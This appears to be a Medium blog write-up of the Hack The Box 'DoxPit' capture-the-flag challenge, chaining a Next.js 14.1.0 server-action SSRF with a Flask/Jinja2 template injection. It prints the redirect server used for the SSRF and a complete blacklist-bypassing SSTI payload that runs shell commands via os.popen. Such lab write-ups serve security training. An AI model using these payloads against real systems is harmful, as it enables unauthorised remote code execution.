[HTB] Solving DoxPit Challange

MindPatch
6 min readAug 20, 2024

--

In this write-up, I’ll walk you through the process of solving the HTB DoxPit challenge

This challenge features a mix of vulnerabilities in both a Flask app and a NextJS application through a series of methodical steps, I’ll show you how to exploit these vulnerabilities and successfully capture the flag

Let’s dive into the details!

Getting Started

The first step in tackling the DoxPit challenge was to download the provided challenge code. This code revealed two distinct folders: one for a NextJS app and the other for a Flask app.

The Flask app, running locally, was vulnerable to Server-Side Template Injection (SSTI) due to its use of render_template_string

# app.py
@web.route("/home", methods=["GET", "POST"])
@auth_middleware
def feed():
directory = request.args.get("directory")

if not directory:
dirs = os.listdir(os.getcwd())
return render_template("index.html", title="home", dirs=dirs)

if any(char in directory for char in invalid_chars):
return render_template("error.html", title="error", error="invalid directory"), 400

try:
with open("./application/templates/scan.html", "r") as file:
template_content = file.read()
results = scan_directory(directory)
template_content = template_content.replace("{{ results.date }}", results["date"])
template_content = template_content.replace("{{ results.scanned_directory }}", results["scanned_directory"])
return render_template_string(template_content, results=results)

except Exception as e:
return render_template("error.html", title="error", error=e), 500

However, since this app was running locally, our only access was through the NextJS app, which provided the user interface (UI)

Identifying the SSRF Vulnerability

I took a look at the package.json file of the NextJS app and saw that it was using version 14.1.0

This version is known to be vulnerable to Server-Side Request Forgery (SSRF) when using the redirect function from next/navigation

Specifically, I found that the doRedirect function in serverAction.tsx, which was used in the home page posts links, utilized this function

"use server";

import { redirect } from "next/navigation";

export async function doRedirect() {
redirect("/error");
}
<form action={doRedirect}>
<button className="link-light" type="submit">{paste.title}</button>
</form>

Exploiting SSRF

To exploit this vulnerability, I began by intercepting requests from the home page using Burp Suite, the goal was to modify the Host and Origin headers to point to my server

Before diving into this, I added Burp Collaborator to test if I would receive any requests from the application

This step was crucial to confirm that the application was interacting with my server as expected

And yep got it 🎉

I then configured Burp Suite to respond with a 302 redirect to 0.0.0.0:3000

To test this, I set up a simple Flask application to serve as a local endpoint

# got it from: https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps?ref=assetnote.io

from flask import Flask, Response, request, redirect
app = Flask(__name__)

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def catch(path):
if request.method == 'HEAD':
resp = Response("")
resp.headers['Content-Type'] = 'text/x-component'
return resp
return redirect('http://0.0.0.0:3000')

Accessing the Internal App

After configuring Burp Suite to redirect requests to this local Flask server, I was able to access the internal Flask application running on port 3000

The next step was to interact with the application, starting by registering a new account, as the application required registration for further actions

The registration endpoint allowed us to create an account using a simple GET request

@web.route("/register", methods=["GET"])
def register():
username = request.args.get("username")
password = request.args.get("password")

if not username or not password:
return render_template("register.html", title="register")

db_session = Database()
token = generate(16)
user_valid = db_session.create_user(username, password, token)

if not user_valid:
return render_template("error.html", title="error", error="user exists"), 401

return render_template("error.html", title="success", error=f"User created with token: {token}"), 200

So I changed my server to point to http://0.0.0.0:3000/register?username=kebda&password=3afroto

With the account successfully created, the application returned a session token

Using this token, I could now authenticate and access protected areas of the application, I appended the token to the URL to authenticate: http://0.0.0.0:3000/home?token=c84964fbd5a45090c841695b2a7d8530

# auth handling function
def auth_middleware(func):
def check_user(*args, **kwargs):
db_session = Database()

if not session.get("loggedin"):
if request.args.get("token") and db_session.check_token(request.args.get("token")):
return func(*args, **kwargs)
else:
return redirect("/login")

return func(*args, **kwargs)

check_user.__name__ = func.__name__
return check_user

This step was crucial, as it allowed me to gain access to the authenticated portions of the site where the SSTI vulnerability could be further exploited:D

let’s jump into directory parameter to get this SSTI!

I initially tried common payloads like {{1*8}}, but these were blocked due to a blacklist filtering out certain characters:(

invalid_chars = ["{{", "}}", ".", "_", "[", "]","\\", "x"]

...
if any(char in directory for char in invalid_chars):
return render_template("error.html", title="error", error="invalid directory"), 400

Bypassing the Blacklist

To bypass this filter, I searched for alternative approaches and found a method in this article

The idea was to use another input parameter to read the payload, this approach involved crafting a payload that would bypass the filter

+---------------------------+
| Main Input |
| (Filtered by blacklist) |
+---------------------------+
|
v
+---------------------------+
| Alternative |
| Input Parameter |
| (Not filtered) |
+---------------------------+
|
v
+---------------------------+
| Payload Injection |
| (Bypassing the filter) |
+---------------------------+
|
v
+---------------------------+
| Final Output |
| (Executed Command Result)|
+---------------------------+

And that’s the payload I came with

{%with output=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(output)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=

To bypass the filter, I crafted a payload that cleverly navigates around the blacklisted characters

invalid_chars = ["{{", "}}", ".", "_", "[", "]","\\", "x"]

I replaced blacklisted characters and patterns with alternatives:

  • {{ was replaced with {%.
  • }} was replaced with %}.
  • . was bypassed by using attribute chaining through the request object.
  • _ was avoided by using alternative attribute names and methods.
  • [ and ] were substituted with attribute access via attr().
  • \\ and x were sidestepped by constructing the payload in a way that didn't require these characters.

I navigated through the request attributes to access Python’s globals and builtins dictionaries, using the import function, I imported the os module and used its popen method to OS execute commands

— — — — — — — — — — — — — — — — -

And Successfully executed the id command, confirming root access

http://0.0.0.0:3000/home?token=<>&directory={%with output=((((request|attr('application'))|attr(request|attr("args")|attr("get")('globals')))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('builtins'))|attr(request|attr("args")|attr("get")('getitem')))(request|attr("args")|attr("get")('import'))('os')|attr('popen')(request|attr("args")|attr("get")('cmd'))|attr('read')()%}{%print(output)%}{%endwith%}&globals=__globals__&getitem=__getitem__&builtins=__builtins__&import=__import__&cmd=id

Nice, Root:)

Ran ls -lah / to list the system files, which revealed the flag's location

nice flag is there, lets use catto read the flag from the file, successfully retrieving it

And That’s it

Bye UwU

--

--

MindPatch
MindPatch

Written by MindPatch

Security Engineer | Part-time Bug bounty hunter

No responses yet